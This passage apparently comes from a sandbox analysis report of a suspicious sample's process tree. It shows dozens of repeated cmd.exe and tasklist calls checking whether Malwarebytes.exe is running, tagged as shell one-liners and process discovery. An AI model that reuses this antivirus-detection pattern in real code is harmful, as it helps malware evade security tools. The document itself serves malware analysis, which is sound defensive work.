      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:2320
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4200
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:560
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:4992
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1972
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3816
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5016
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:3100
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1608
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3712
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:212
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4600
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4732
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:3268
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3972
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4704
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3848
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:2164
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:2008
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:652
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5100
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:216
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2176
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2748
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4504
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4540
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:5028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4104
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1692
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:3324
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3220
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4752
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1364
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2464
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3484
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4192
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2304
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4476
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2416
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4764
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1084
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3848
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3976
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2636
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2212
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:3604
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2996
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1128
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5004
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4508
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:4152
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3628
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:636
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2088
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5112
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2208
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4616
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4828
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3484
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3780
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2304
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4712
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2876
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4488
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2440
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1484
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3668
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3880
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4760
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3604
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1656
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4904
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4236
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1264
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1604
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1992
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1692
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2024
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1172
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4840
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4392
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:912
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1160
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2876
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:4136
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2440
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:3096
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3720
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3532
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1128
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1616
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:2908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:936
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4380
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2820
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2444
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3220
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5096
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1584
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4036
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1684
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:2008
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3240
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4520
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3096
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2136
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1988
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2092
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1912
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1828
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4380
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2208
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:664
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1228
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:3108
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4172
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5064
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4276
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2428
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:1056
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3884
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4232
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2096
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4200
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1656
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4568
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3628
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2752
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3416
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:892
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3748
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3108
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2496
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:780
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1160
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3240
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3792
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3736
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2972
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1388
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5028
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3840
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:408
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2636
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4236
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:512
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1564
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1148
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:2916
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4224
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3792
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:2260
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2588
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4912
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1844
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2176
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4732
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3592
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3364
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:3820
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:716
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1584
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4028
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:3484
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
